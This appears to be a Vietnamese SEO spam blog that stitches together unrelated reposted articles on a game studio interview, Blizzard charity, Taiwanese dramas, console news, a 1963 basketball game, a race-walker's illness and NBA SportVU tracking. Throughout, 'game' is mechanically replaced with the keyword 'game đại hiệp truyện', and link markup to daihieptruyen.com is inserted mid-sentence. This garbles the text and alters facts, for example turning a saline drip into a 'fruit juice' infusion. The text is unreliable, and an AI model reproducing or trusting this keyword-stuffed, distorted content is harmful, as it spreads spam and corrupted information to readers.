game đại hiệp truyện có một đặc thù, là một sản phẩm công nghệ nhưng chứa đứng nhiều yếu tố nghệ thuật, do đó nó càng khó hơn. Chúng ta cần thời gian để trả giá. Tổng số tiền mà tất cả các công ty Việt Nam đã đầu tư vào cho sản xuất game đại hiệp truyện vẫn còn chưa bằng một game đại hiệp truyện bom tấn của thế giới, thế nên, mọi chuyện cũng mới chỉ bắt đầu.

- Khó khăn với mảng PC như thế, vậy tới đây, EG có thay đổi chiến lược của mình không ?

- Bởi vì, PC luôn là nền tảng tiên phong cho ngành game đại hiệp truyện. Nếu muốn một game đại hiệp truyện đẹp hơn, thật hơn, sống động hơn... với các nhân vật càng ngày càng thông minh hơn, đậm chất điện ảnh hơn thì chỉ có PC mới đáp ứng được. game đại hiệp truyện PC thúc đẩy phần cứng phát triển, và ngược lại, phần cứng thúc đẩy game đại hiệp truyện PC phát triển. Ở nền tảng này, công nghệ về video game đại hiệp truyện gần như gần không có điểm dừng. Nó hấp dẫn hơn hẳn các nền tảng khác, luôn tràn ngập thách thức để chinh phục và sẵn sàng cho mọi sáng tạo.

Đối với riêng studio chúng tôi, chỉ trò chơi PC mới thực sự là "game đại hiệp truyện". Do đó, có thể có lúc trong ngắn hạn, Emobi game đại hiệp truyệns sẽ chuyển qua làm trên một số nền tảng khác để tồn tại, nhưng PC sẽ luôn là đích đến.

Chỉ trò chơi PC mới thực sự là "game đại hiệp truyện".

Ngoài ra, chúng tôi luôn quan niệm rằng, cái gì mà nhiều người làm được, hiển nhiên là cạnh tranh sẽ còn khốc liệt hơn. Làm game đại hiệp truyện PC khó thành công, rủi ro cao, nhưng nếu thành công, sẽ có giá trị lâu dài hơn.

Cuối cùng, ai cũng biết, game đại hiệp truyện thủ PC khắt khe hơn, nhưng trung thành hơn rất nhiều so với các nền tảng khác. Sẽ chẳng có gì tuyệt vời hơn việc bạn tạo ra được những sản phẩm có nhiều người gắn bó với nó lâu dài.

- Nói về 2112 Revolution, đây là sản phẩm đã được kỳ vọng khá nhiều, nhưng hiện tại vẫn gặp nhiều trắc trở. Theo ông những khó khăn hiện tại của 2112 Revolution là do đâu? Soha game đại hiệp truyện và Emobi game đại hiệp truyệns có hướng tích cực nào cho 2112 Revolution để thoát khỏi tình trạng này?

Chúng tôi đã phạm phải một số sai lầm chính, những sai lầm này cũng bắt nguồn từ việc chưa có kinh nghiệm. Thứ nhất, chúng tôi đã quá chủ quan và tự tin về bối cảnh viễn tưởng của 2112 Revolution, trong khi, sự thật, với đa số game đại hiệp truyện thủ Việt, nó không hấp dẫn.

Thứ hai, chúng tôi cũng đã quá chủ quan và tự tin với những cái mới của 2112 Revolution. Đôi khi, không phải cái mới nào cũng được đón nhận và chưa chắc, cái mới đã là hay. Đáng ra, chúng tôi nên thử nghiệm sản phẩm sớm hơn.

Cuối cùng, việc lựa chọn mô hình có phân cấp bậc trong một game đại hiệp truyện chiến thuật là hoàn toàn không ổn. game đại hiệp truyện chiến thuật là nơi thi đấu với nhau về kỹ năng và trí thuệ đơn thuần.

2112 Revolution trong tương lai sẽ mang nhiều thay đổi chiến lược mang tính sống còn.

Do đó, tới đây, trong bản cập nhật mới nhất, chúng tôi sẽ thay đổi hoàn toàn điều này ở 2112 Revolution. Toàn bộ hệ thống cấp bậc sẽ biến mất. Không còn yếu tố cày kéo trong game đại hiệp truyện. Mọi game đại hiệp truyện thủ tham gia ngay từ trận đánh đầu tiên sẽ công bằng với các game đại hiệp truyện thủ khác, không phân biệt về chỉ số quân. Chúng tôi sẽ thay đổi để hướng 2112 Revolution thành một game đại hiệp truyện chiến thuật thuần chất.

- Có người nói, cuộc chiến đấu của game đại hiệp truyện Việt không chỉ nằm ở các doanh nghiệp game đại hiệp truyện mà còn ở một phần đóng góp lớn của game đại hiệp truyện thủ Việt. Ông có đồng ý và chia sẻ gì về điều này không?

Dĩ nhiên là tôi đồng ý. Tôi biết, khách hàng luôn yêu cầu và sử dụng những gì tốt nhất, phù hợp nhất với họ. Tiền của họ, thì quyền lựa chọn là của họ. Các studio trong nước cũng không bao giờ dám đổ lỗi cho game đại hiệp truyện thủ về thất bại của mình.

Tuy nhiên, rõ ràng, trong câu chuyện game đại hiệp truyện Việt (hàng Việt), vai trò của các game đại hiệp truyện thủ (người dùng) là cực kỳ quan trọng. Sự ủng hộ trên tinh thần tôn trọng là động lực lớn để các studio game đại hiệp truyện Việt tiếp tục cố gắng. Sự phê bình góp ý trên tinh thần xây dựng là góp phần để các game đại hiệp truyện Việt tiến bộ. Những bình phẩm chê bai nghiệt ngã, những hội chứng sợ Tây thì sẽ chẳng giúp gì được game đại hiệp truyện Việt


Đại Hiệp Truyện
Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

Blizzard biến giấc mơ của game đại hiệp truyện thủ bệnh tật thành sự thật

Blizzard biến giấc mơ của game đại hiệp truyện thủ bệnh tật thành sự thật 

Một lần nữa đại gia ngành game đại hiệp truyện lại làm ấm lòng cộng đồng fan hâm mộ vì hành động nghĩa hiệp của mình.

Benjamin là một game đại hiệp truyện thủ yêu thích StarCraft, nhưng cuộc sống không may mắn đã khiến anh mắc căn bệnh thận khó chữa. Ước mong lớn nhất trong đời anh là được nhìn thấy game đại hiệp truyện thủ StarCraft II chuyên nghiệp tại một trong các giải đấu thể thao điện tử lớn ở Hàn Quốc.

Blizzard, thông qua tổ chức từ thiện Make A Wish Foundation (Thắp sáng một ước mơ) đã biến điều ước của game đại hiệp truyện thủ đáng thương này thành sự thật.

Benjamin và hai người bạn đã được công ty game đại hiệp truyện nổi danh đài thọ tới Hàn Quốc, chơi game đại hiệp truyện cùng với đội game đại hiệp truyện yêu thích của mình là Prime, đồng thời tham dự vòng chung kết giải StarCraft II toàn cầu.

Trong hình lần lượt là game đại hiệp truyện thủ Hyun Woo Jang (biệt danh "Creator"), một người bạn của Benjamin, Benjamin và game đại hiệp truyện thủ Jung Hoon Lee (biệt danh "MarineKing").

Đây không phải là lần đầu tiên Blizzard hợp tác với tổ chức Make a Wish Foundation. Công ty game đại hiệp truyện này đã tiến hành nhiều hoạt động từ thiện, quyên góp bằng tiền và vật phẩm, bán item "vật nuôi từ thiện" như Monk Pandaren và Moonkin Hatchling trong các game đại hiệp truyện của mình.


Đại Hiệp Truyện
Thiên Cổ Đại Hiệp Mộng - Thần Điêu Hiệp Lữ Tình

Thứ Bảy, 16 tháng 3, 2013

Những phim cổ trang Đài Loan nổi tiếng


ĐẠI HIỆP TRUYỆN - Nào ta cùng tải game đại hiệp truyện

Những phim cổ trang Đài Loan nổi tiếng

"Tân Bạch nương tử truyền kỳ", "Bao Thanh Thiên", "Hoàn Châu cách cách"... ra đời cách đây hàng chục năm nhưng vẫn thu hút người xem mỗi lần được phát lại.

Tân Bạch nương tử truyền kỳ

Tân Bạch nương tử truyền kỳ ra mắt năm 1992, quy tụ dàn diễn viên tài sắc là Triệu Nhã Chi, Diệp Đồng, Trần Mỹ Kỳ. Đây được đánh giá là phim Đài ảnh hưởng bậc nhất trong mảng phim truyền hình Hoa ngữ...

Tân Bạch nương tử truyền kỳ bao hàm nhiều giá trị quý báu. Nghệ thuật truyền thống, y học, tôn giáo, thơ ca được kết hợp một cách uyển chuyển, chân thực, gần gũi với đời sống con người.

Võ Tắc Thiên (Nhất đại nữ hoàng Võ Tắc Thiên)



Võ Tắc Thiên là phim đánh dấu tên tuổi của "Búp bê không tuổi" Phan Nghinh Tử. Lúc đóng Võ Tắc Thiên, Nghinh Tử ở tuổi 36. Bà diễn đạt xuất thần Mỵ Nương từ thuở thiếu nữ ngây thơ tươi tắn đến khi là người đàn bà quyền lực đa mưu.

Võ Tắc Thiên chiếu ở Đài Loan năm 1985 và tạo nên cơn sốt. Phim nằm trong top những phim truyền hình đạt tỷ lệ người xem cao nhất Đài Loan.

Người tình của Tần Thủy Hoàng



Người tình của Tần Thủy Hoàng là phim kinh điển khác của Triệu Nhã Chi. Tần Thủy Hoàng (Lưu Đức Khải đóng) thuở nhỏ thường bị người khác ức hiếp, đánh đập. Cô gái hái thuốc tốt bụng A Phòng (Triệu Nhã Chi đóng), bị bố cấm đoán, vẫn thường sắc thuốc giúp Tần Doanh Chính (tên của vua Tần Thủy Hoàng) trị thương. Đôi trẻ cảm mến rồi yêu thương nhau.

Doanh Chính nuôi chí thống nhất giang sơn. Cuối cùng, ông đoạt được ngôi vị nhưng mãi mất đi người duy nhất mình yêu thương - A Phòng. Tần Thủy Hoàng xây cung điện mang tên người tình để tưởng nhớ nàng.

Ỷ Thiên Đồ Long ký



Ỷ Thiên Đồ Long ký là tiểu thuyết nhiều lần được chuyển thể thành phim của nhà văn Kim Dung. Năm 1994, Đài Loan lần thứ hai mang câu chuyện về kiếm Ỷ Thiên và đao Đồ Long lên màn ảnh, trong bộ phim do Mã Cảnh Đào, Diệp Đồng, Chu Hải My đóng vai chính.

Bao Thanh Thiên



Bản Bao Thanh Thiên năm 1993 là phim kinh điển Đài Loan về vị quan "mặt sắt". Diễn viên chính trong tác phẩm là Kim Siêu Quần, Hà Gia Kính, Phạm Hồng Hiên.

Có rất nhiều phim truyền hình về Bao Chửng, Bao Thanh Thiên bản 1993 là bản ấn tượng nhất. Bài hát chủ đề của phim, Mộng uyên ương hồ điệp, cũng là giai điệu được chờ đợi trên sóng truyền hình Việt Nam những năm 1990.

Hoàn Châu cách cách

Hoàn Châu cách cách quen thuộc với khán giả châu Á. Đây là sản phẩm truyền hình nằm trong top những phim được phát lại nhiều nhất ở Đài Loan, Trung Quốc đại lục.

Theo Baidu, Hoàn Châu cách cách mang nhiều ý nghĩa đối với làng giải trí Hoa ngữ. Ngoài việc thu hút lượng người xem đông đảo trên khắp châu Á, phim tạo ra lớp "ngôi sao thần tượng" có ảnh hưởng không nhỏ: Triệu Vy, Lâm Tâm Như, Tô Hữu Bằng.

Những câu chuyện về vua Càn Long

Những câu  chuyện về vua Càn Long sản xuất năm 1991, với hai diễn viên chính là Trịnh Thiếu Thu, Triệu Nhã Chi. Đây được xếp vào hàng những phim cổ trang Đài Loan, Hong Kong kinh điển nhất. Phim miêu tả chân thực, sống động ba lần mặc thường phục vi hành của vua Càn Long đời Thanh. Tác phẩm được ca ngợi cả về yếu tố nội dung và nghệ thuật.

Tiểu Lý Phi Đao

Tiểu Lý Phi Đao quy tụ dàn diễn viên nổi tiếng là Tiêu Ân Tuấn, Tiêu Tường, Ngô Kinh, Giả Tịnh Văn. Bối cảnh phim vào triều Minh. Chàng trai tài hoa Lý Tầm Hoan (Tiêu Ân Tuấn đóng) chán ghét chốn quan trường. Một lần gặp nạn, anh được võ lâm cao thủ Long Tiêu Vân (Lâm Lập Dương đóng) cứu giúp. Hai người sau đó cùng yêu Lâm Thi Âm (Tiêu Tường). Vì muốn báo đáp ơn cứu mạng của Tiêu Vân, Tầm Hoan rút lui khỏi mối tình tay ba.

Tuyết Sơn Phi Hồ

Tuyết sơn phi hồ là tiểu thuyết võ hiệp của Kim Dung, nhân vật chính của tiểu thuyết là Hồ Phỉ, có biệt danh Tuyết Sơn Phi Hồ. Truyện kể về ân oán dai dẳng từ đời tổ tiên của Hồ Phỉ.

Bản Tuyết Sơn Phi Hồ của Đài Loan do Mạnh Phi, Cung Từ Ân, Ngũ Vũ Quyên đóng vai chính, ra mắt vào năm 1991.

Thứ Sáu, 15 tháng 3, 2013

Retailer Lists New Assassin's Creed Vita game dai hiep truyen

Retailer Lists New Assassin's Creed Vita game dai hiep truyen

Remember Assassin’s Creed: Rising Phoenix that we reported on last week?

According to a product listing from Spanish retailer XtraLife (via game dai hiep truyenSpot), Assassin’s Creed: Rising Phoenix is a PlayStation Vita game dai hiep truyen set to release on October 10th, nearly three weeks before Assassin’s Creed IV: Black Flag is set to hit both current and next-gen consoles.



A screenshot leaked by Allgame dai hiep truyensBeta along with the posting shows two hooded members of Abstergo wearing hoodies adorned with the company’s logo. The new image also features the same game dai hiep truyen logo and Ubisoft Digital Arts watermark found on the first leaked screenshot.



As expected, Ubisoft declined to comment to IGN.

Diện mạo của thế giới game dai hiep truyen năm 2013

Diện mạo của thế giới game dai hiep truyen năm 2013

XBox và PlayStation thế hệ mới cùng các game dai hiep truyen hay, sáng tạo hứa hẹn một năm tràn đầy hứng khởi.


ảnh minh họa

Kể từ khi ngành công nghiệp game dai hiep truyen bùng nổ 5 năm về trước, năm nào cũng vậy, game dai hiep truyen thủ cũng có những game dai hiep truyen mới để chơi, có những thiết bị phần cứng mới để chờ đợi.

Nintendo đã ra mắt sản phẩm chiến lược Wii U của mình vào ngày 18/11/2012. Mới đây Sony lại tung hoả mù khi làm “rò rỉ” hình ảnh tay cầm của PS4 cùng việc giới thiệu hàng loạt game dai hiep truyen bom tấn đang xếp hàng lần lượt để phục vụ cỗ máy chơi game dai hiep truyen next-gen này. Tương tự đại gia còn lại là Microsoft cũng úp mở về sản phẩm của mình được đồn đại với tên gọi Xbox 720.


WiiU đã ra mắt, còn PS4 và XBox 720 vẫn... "thò thụt"!

Hoà chung với xu thế di động và trào lưu chơi game dai hiep truyen mọi lúc mọi nơi, thị trường game dai hiep truyen sẽ có sự góp mặt của các thiết bị mới và chắc chắn cấu hình PC chơi game dai hiep truyen cũng sẽ tiếp tục được nâng cấp. Song không thể phủ nhận sự quan tâm của cộng đồng game dai hiep truyen thủ và các nhà đầu tư vào ngành công nghiệp game dai hiep truyen vẫn chủ yếu hướng vào cuộc cạnh tranh của các máy chơi game dai hiep truyen console.


Cuộc chiến giữa các hệ máy chơi game dai hiep truyen console sẽ tiếp tục khốc liệt.

Các máy console mới sẽ là bệ phóng cho những ý tưởng mới và các ý tưởng này sẽ tiếp tục làm thay đổi thế giới game dai hiep truyen. Với phát minh sáng chế mới được các đại gia ngành game dai hiep truyen đăng ký cùng những thiết bị thực tế ảo và các công nghệ mới đang đi vào thực tế, các nhà phát triển game dai hiep truyen sẽ thoả sức phát huy trí tưởng tượng của mình, đột phá mọi giới hạn để mang tới cho game dai hiep truyen thủ những trải nghiệm tuyệt vời.

Tại sự kiện thường niên E3 năm 2005, đồ họa HD là một điều rất mới mẻ và làm choáng ngợp game dai hiep truyen thủ. Thêm vào đó các tựa game dai hiep truyen bom tấn như Gears of War và Killzone 2 đã tạo ra những ấn tượng không thể nào quên tại thời điểm đó.




Gears of War và Killzone 2 xuất hiện cực kỳ ấn tượng tại E3-2005.

Còn năm nay, các bom tấn next-gen của Microsoft và Sony vẫn nằm trong bức màn bí ẩn, thông tin ồn ào nhất liên quan đến chúng lại là quan điểm về việc máy mới có chơi được game dai hiep truyen cũ hay không. Nếu Microsoft và Sony thực sự áp dụng chính sách ngặt nghèo này, họ vô hình chung đã mở ra một thị trường cho Nintendo Wii U và Steam Box của Valve.


Steam Box - vũ khí bí mật giúp Valve soán ngôi console truyền thống.

Nhưng có một điều chắc chắn là cuộc đua giành ngôi vị bá chủ thị trường game dai hiep truyen sẽ luôn luôn khốc liệt. Không phải vô cớ mà Sony tuyên bố thẳng thừng rằng họ sẽ tung PS4 ra sau khi Xbox mới xuất hiện. Trong lúc đó, Ouya vẫn đang nỗ lực đáp ứng lòng mong mỏi của nhà đầu tư với việc giữ đúng tiến độ sản xuất. Nhưng đối thủ nguy hiểm nhất đe doạ đế chế console sẽ là SteamBox, thiết bị được kỳ vọng sẽ giúp Valve đánh bật các máy chơi game dai hiep truyen khác ra khỏi phòng khách và khu vực giải trí gia đình. Cùng với sự phát triển như vũ bão của công nghệ phần cứng, các nhà phát triển game dai hiep truyen sẽ sử dụng các công nghệ mới để đưa game dai hiep truyen thủ khám phá những thế giới kỳ ảo, “sống” và trải nghiệm các “cuộc đời” khác nhau thú vị hơn trong game dai hiep truyen.

Bên cạnh đó các game dai hiep truyen bom tấn được chờ đợi trong quý I hầu hết sẽ lên kệ đúng hẹn. Trừ những sự trì hoãn đáng tiếc của các tựa game dai hiep truyen như Rayman Legends và Grand Theft Auto V, các tựa game dai hiep truyen được mong chờ như BioShock Infinite và The Last of Us hứa hẹn sẽ là những món khai vị không thể tuyệt vời hơn dành cho game dai hiep truyen thủ.

Nhưng trước mắt, game dai hiep truyen thủ sẽ vẫn phải chấp nhận những cái tên cũ. Không phải game dai hiep truyen cũ mà là phần tiếp theo của những bom tấn xuất hiện lần đầu trong thế giới game dai hiep truyen từ cách đây 5-6 năm, cá biệt có những game dai hiep truyen còn lâu hơn.

Dishonored xuất hiện vào năm ngoái đã gây được tiếng vang ngay cả khi ra mắt vào thời điểm bị “thập diện mai phục” bởi các đối thủ sừng sỏ như bản mở rộng mới của World of Warcraf, Forza hay Medal of Honor. Đơn vị phát hành game dai hiep truyen thậm chí còn không tung các chiêu trò marketing màu mè hoa lá để hỗ trợ việc kinh doanh như đối với các game dai hiep truyen khác. Sự thành công của nó cho thấy những đổi mới sáng tạo thực sự luôn được cộng đồng game dai hiep truyen thủ đón nhận.

Năm 2013 là một năm thị trường game dai hiep truyen sẽ ngập tràn các bom tấn đủ thể loại cùng với các thiết bị phần cứng tân kỳ chờ đón game dai hiep truyen thủ. Hãy cùng chờ xem.

The Croods - Lộ diện game dai hiep truyen di động 3D cực ngộ nghĩnh

The Croods - Lộ diện game dai hiep truyen di động 3D cực ngộ nghĩnh
Một thông tin cực kì sốt dẻo dành cho những game dai hiep truyenr yêu thích các trò chơi điện tử trên thiết bị di động, mới đây thương hiệu game dai hiep truyen nổi tiếng Rovio, hay cha đẻ của của các phiên bản game dai hiep truyen Angry Birds đã phát hành một tựa game dai hiep truyen mới nhất của họ với tiêu đề The Croods.

ảnh minh họa
Theo bật mí của đại diện NSX, The Croods là một game dai hiep truyen thuộc thể loại freemium (xây dựng thành phố) hấp dẫn, với nội dung được xây dựng dựa trên cảm hứng từ bộ phim hoạt hình nổi tiếng cùng tên dành cho trẻ em, mà trong thời gian sắp tới sẽ được phát hành rộng rãi.



Cốt truyện của The Croods có lẽ đối với nhiều người đã quá quen thuộc, nếu như các bạn đã từng biết đến cuốn truyện tranh độc đáo về gia đình tiền sử Croods. Trong phiên bản game dai hiep truyen, bạn sẽ được hóa thân vào những nhân vật đặc trưng trong gia đình tiền sử, cùng khám phá và tạo ra ngôi nhà của họ với những vật dụng hữu ích của thời hiện đại như ô tô, ti vi, điện thoại trong bối cảnh của thời kì tiền sử. Và dĩ nhiên mọi thứ sẽ diễn ra thật ngộ nghĩnh, bạn sẽ phải trang trí cho ngôi nhà và thị trấn của mình, cùng mua sắm và thiết kế thêm những đồ vật khác.

game dai hiep truyen Of Change Pivotal Matchup Helped End Segregated Hoops

game dai hiep truyen Of Change Pivotal Matchup Helped End Segregated Hoops



Mississippi State's Stan Brinker (53) and Loyola's Jerry Harkness (15) shake hands before the NCAA Mideast regional semifinal college basketball game dai hiep truyen in East Lansing, Mich., on March 15, 1963. The game dai hiep truyen was a landmark contest between the schools that helped alter race relations on the basketball court.Loyola University Chicago/AP

During the March Madness of 1963, playing was infused with politics. The NCAA matchup between Loyola University of Chicago and Mississippi State helped put an end to segregated basketball. Loyola's win 50 years ago became known as the "game dai hiep truyen of change."

At the time, college basketball was still predominantly white, with usually no more than two or three black players appearing on the floor at any one time. But in '63, the Loyola Ramblers' starting lineup featured four black players.

During the opening round of the NCAA tournament, the Ramblers blew past their opponent. The next showdown would be with the Mississippi State Maroons, now known as the Bulldogs. Loyola captain Jerry Harkness, an African-American, says that's when the hate mail started pouring in.

"And that's ... a little bit scary because they know where you are, and they are sending you mail, and it said ... 'Stop right here,' and, 'You better not play against any more white teams in the tournament,' " Harkness says.

The black community was sending a different message: You can't lose.

"The majority of people that called said, 'Please win. This is a great opportunity for the black race,' " Harkness says.

The Mississippi State Maroons had won their Southeastern Conference title year after year, but Bobby Shows — the center on the 1963 team — said there was resistance to playing in the NCAA tournament.

"It was a unwritten law in Mississippi that no college basketball team from Mississippi would ever play against blacks," Shows says.

The school's president, Dean Colvard, had accepted the NCAA tournament bid knowing that he could lose his job. Then-Mississippi Gov. Ross Barnett, an avowed segregationist, and his allies tried to stop the Maroons from leaving the state.

MSU's team manager, Jimmy Wise, said Colvard and the team's coaches decided to sneak out of town.

"Of course, when the sheriff of the county could not find the coach or the president, he didn't have anybody to serve the injunction to," Wise says. "We [the players] flew out the next day and actually picked our coach up in Nashville, Tenn."

On March 15, 1963, the stadium at East Lansing, Mich., was packed. Shows says Mississippi State had no supporters there.

"Somebody's pep band played our fight song, and that was a pretty touching experience to think that sportsmanship was that good," he says.

Then the captain of the Mississippi team, Joe Dan Gold, and Loyola's Harkness walked to mid-court and shook hands.

"The flashbulbs just went off unbelievably, and at that time, boy, I knew that this was more than just a game dai hiep truyen. This was history being made," Harkness says.

Loyola won 61-51 and went on to win the NCAA championship. Mississippi State won the consolation game dai hiep truyen and returned home to a huge crowd of fans.

In December, surviving members of both schools' 1963 teams showed up at Loyola when the now-Bulldogs and the Ramblers met to play a game dai hiep truyen for the first time since 1963.

The men, all in their 70s, said they are proud that the game dai hiep truyen they played a half-century ago helped signal an end to the Jim Crow policies of the past.

Thanh Phúc: Đường đua và trường đời


ĐẠI HIỆP TRUYỆN - Nào ta cùng tải game đại hiệp truyện

Thanh Phúc: Đường đua và trường đời

Được tung hô như người hùng sau danh hiệu á quân đi bộ châu Á, ít ai biết rằng VĐV Nguyễn Thị Thanh Phúc đã sụt cân rồi phải truyền nước biển sau khi trở về quê nhà. Mệt mỏi như thế, Thanh Phúc vẫn phải lên trường để đi học, khi đơn xin nghỉ chính thức hết hạn vào ngày hôm qua.



Đối với HLV Trần Anh Hiệp hay bản thân VĐV Thanh Phúc, tấm HCB đi bộ châu Á vừa qua có ý nghĩa như tấm HCV, bởi hành trình dài 20 km ở đất Nomi (Nhật Bản) không chỉ là sự thử thách ý chí, nỗ lực mà cả sức chịu đựng của con người. Đi bộ đã khó, lại còn phải đúng động tác, tư thế. Chỉ cần hấp tấp, vội vàng sẽ bị đánh rớt khỏi cuộc thi và xem như không có cơ hội tranh huy chương.

2 năm Thanh Phúc thi đấu ở Nhật Bản thời tiết đều lạnh, thậm chí năm nay có cả mưa lẫn tuyết rơi. Chưa kể do việc di chuyển, đi máy bay từ Việt Nam sang Nhật rồi trở về, khiến thể trạng của Thanh Phúc bị ảnh hưởng. Đến sáng 13/3, Phúc vẫn chưa ăn uống bình thường, có biểu hiện suy nhược cơ thể. Theo bác sĩ cho biết do Phúc bị nhiễm lạnh quá lâu khi thi đấu trên đường. Cộng việc đi lại nhiều, ăn uống cũng kiêng khem do ép cân, nên cơ thể mất cân bằng. Từ lúc về nước, Phúc liên tục bị nôn, ăn uống cũng ít nên có hiện tượng mất nước. Kết quả đến trưa hôm qua, Phúc buộc phải truyền [url=http://daihieptruyen.com]dai hiep truyen[/url] nước hoa quả để tránh hiện tượng suy nhược trầm trọng hơn.

Làn da đã đen cháy vì tập luyện suốt ngày ngoài trời, Phúc còn cho biết mình đợt này đã sụt mất 2, 3 cân: "Em giờ chắc chưa đến 45 kg, người gầy quá ngại leo lên cân vì không đủ tự tin. Sau khi giành thành tích cao ở giải châu lục, lãnh đạo Trung tâm  cũng cho phép em nghỉ 1 tuần để tĩnh dưỡng. Sau đó là chuẩn bị kế hoạch tập huấn hướng đến giải vô địch đi bộ thế giới vào tháng 7 ở Nga. Em cũng tính chạy về nhà ở huyện Hòa Vang (TP.Đà Nẵng) thăm gia đình với nghỉ mấy ngày. Nhưng lịch học dày quá đến ngày 12/3 đã hết giấy xin nghỉ học để sang Nhật thi đấu, nên phải đi học luôn".

Phúc năm nay đã là sinh viên năm 3 Đại học TDTT Đà Nẵng. Tuy nhiên do việc đi thi đấu, tập luyện nhiều nên phải... 3 năm nữa mới cầm bằng tốt nghiệp ra trường. Sau khi truyền nước xong, Phúc chỉ nghỉ được vài chục phút là phải ra ngoài kiến tập. Theo lịch bố trí thì Phúc sẽ dạy thể dục cho các em lớp 6 ngay ở khuôn viên trường. Cậu em Thanh Ngưng cũng kín lịch học từ lúc 3h đến 5h như chị, nên phải đến tối mới tranh thủ về nhà.

Sau chuyến thi đấu, di chuyển mệt nhoài, cả 2 chị em Thanh Phúc-Thanh Ngưng vẫn phải lo việc đi học, chứ không được nghỉ ngơi hồi phục thể lực. Cả 2 VĐV này cho biết dù đường thi đấu đỉnh cao còn rộng, nhưng họ cũng phải lo sự nghiệp sau này. Việc đi làm HLV hoặc làm giáo viên cũng là lối rẽ sau khi giải nghệ.

Dù rất vất vả phân chia lịch thi đấu, tập luyện với việc học hành [url=http://daihieptruyen.com]game dai hiep truyen[/url], nhưng cả Phúc, Ngưng cũng như nhiều VĐV đỉnh cao Việt Nam vẫn phải gồng mình để hoàn thành mọi việc. Phúc còn lo việc học sẽ bị kéo dài hơn 3 năm khi bận thi đấu giải thế giới tới đây rồi SEA Games 2013 vào cuối năm. Đường học vất vả, lận đận đến lúc phải tạm thời nghỉ học để lo thi đấu, nhưng Phúc, Ngưng vẫn cố vượt qua để có tấm bằng cử nhân trong tay.

Bởi thế, tấm HCB đi bộ châu lục của Phúc vừa qua, hay thành tích thứ 5 của Ngưng thực sự quý như "Vàng". Qua câu chuyện "hậu" giải thi đấu châu Á ở Nhật Bản mới thấy Phúc và Ngưng cũng hy sinh nhiều để có được thành công. Chuyện sức khỏe bị ảnh hưởng, việc học bị ảnh hưởng vẫn không ngăn họ tỏa sáng trên đường đua, giúp môn đi bộ nói riêng và điền kinh Việt Nam nói chung có vị trí trong làng điền kinh châu lục rồi thế giới.

NBA teams see game dai hiep truyen in new way through SportVU system

NBA teams see game dai hiep truyen in new way through SportVU system

What does the ability to track how many rebound opportunities Amir Johnson gets in a game dai hiep truyen have to do with missile defence in Israel?

Well, nothing really. But the technology behind SportVU, the evolving data collection system used by exactly half (and counting) of the 30 teams in the NBA -- including the Toronto Raptors -- was born out of that military application.

"I always caveat with everyone that we didn't steal any state secrets," jokes Brian Kopp, the VP of strategy and development for Stats LLC, the Chicago-based global sports statistical agency that purchased SportVU from its Israeli creators in 2008.

"The developers that created it came from the Israeli Defence Forces, working on optical image recognition technology and algorithms for the military, a lot of it for missile tracking and other things."

After the soldiers left the IDF, they decided to apply the technology to their favourite sport, soccer, with a system that tracked players on the pitch.

For years now, anyone who pays any attention to the statistical side of sports has had to at least acknowledge the presence of advanced stats -- be it Bill James or Billy Beane and the "sabermetrics" leaders of baseball, or John Hollinger and the other statisticians crunching the numbers behind the numbers of basketball.

And whether you like it or not, whether you are a purist or not, it's here to stay. Advanced numbers don't lie, and there's simply too much money invested in professional athletes for franchises to not do all due diligence possible in evaluating performance.

Yet before some of you dismiss sports stat "nerds" as stereotypical coke-bottle glasses types huddled around algorithms and reruns of The Big Bang Theory, consider some of the minds and technology involved in the process these days: From former missile defence technologists developing the SportVU camera system to former U.S. Navy officers like Alex Rucker (the Raptors' stats guru) breaking down the data that SportVU spits out, this is more than just math club stuff.


How SportVU works

That said, the actual images that the SportVU cameras currently produce do look like something out of a '90s-era video game dai hiep truyen. However the story is not the images themselves. The story comes from the stream of information the cameras produce -- six of them positioned up in the rafters of various NBA arenas.

"Basically, there's triangulation on either side of the court," says Kopp of the setup that places three cameras at each end of the floor, with exact placing based on the unique catwalk design of each arena. "We try to get two that are overhead, looking over the basket, and the others spread out."

The raw system is computer vision cameras, each weighing less than a pound, that not only collect video but also data. The algorithm behind the system is telling the camera what to track and what not to track, based on light, movement, colour and a number of different factors built into the system. The camera assigns each player x and y coordinates and tracks his centre of gravity.

As the game dai hiep truyen unfolds, all of this player data is fed into a workstation at the arena and sent in a constant stream to Stats LLC. Then the information is linked to the wire feed of the game dai hiep truyen's play-by-play, giving them an optical feed to match up with the NBA's game dai hiep truyen informational feed.

"It's not as simple as just finding the timestamps and snapping them together," points out Kopp. "The best example is when there's a missed shot, the guy at the scorer's table puts in 'missed shot' [but] that's not the actual point in time the shot was missed. Was it rebounded first? It could be several seconds off. So we have to go back and autocorrect."

Ultimately, they match the play-by-play feed to the exact frame in which the sequence occurred. It adds an entirely new context to statistics.

"Within that frame, we assign a data point," says Kopp. "So every single frame of the game dai hiep truyen, we have a data point.

"So, for instance, here's DeMar DeRozan's missed shot, we know where he was, we know how he got the ball, who passed it to him, and we know where everybody else on the court was when he had the ball. Once you've done that, there are a lot of queries and programs and reports you can write off the back of that data."

There most certainly are.

One of the biggest successes SportVU has had with teams is tracking player speed, as well as performance when a player is coming off an injury.

For instance: "Amir Johnson has good speed," Rucker told me last week. "He sprained his ankle in Memphis earlier this season. But coming back from the injury, you could definitely see [with what SportVU highlighted] how his velocity had declined."

Kopp elaborates: "Certain players run around a lot, but they're not doing a lot of cutting," he explains. "Whereas other guys are doing a lot cutting, going from slow to fast ... and when you think about it, when you have to go from slow to fast, there's a lot of load on your legs. And that's where, for some of these teams, especially for guys coming back from ACL injuries, that's the kind of data you want to look at."

As Kopp told Grantland.com's Zach Lowe earlier this month, the system has also unearthed a bunch of those I-should-have-thought-about-that tidbits. Like Kevin Love being the hardest runner in the NBA. Or the fact that centres sprint more than any other position on the floor, because they are generally trailing a play offensively after planting themselves down low on defence. Or better yet, New York Knicks players are registering an unconscious 61 per cent effective field goal percentage over the last two seasons off direct passes from Carmelo Anthony.

"It's the future of data collection," says Kopp.

All of that information is summarized from the participating teams around the league and the files are delivered to people like Rucker the next morning. Rucker says working all of this new-age data into the day-to-day practice and execution of basketball has come along with time.

"The challenge we have is you're dealing with [coaching staffs] who have done this for 25 years, so to try and come from left field with this stuff can be a challenge," he said. "Yet with a pretty high level of specificity, we can get good data that gives our coaches an edge ... It's much more important to have an impact than to be right."

While the bulk of Rucker's daily in-depth player data doesn't serve a needed real-time purpose, with information coming in every 60-90 seconds, there are stats from SportVU cameras that can be turned around and released for public consumption alongside traditional stats.

"For instance, what is our shooting percentage in the first half based on what the shot clock is," Kopp offers as an example.

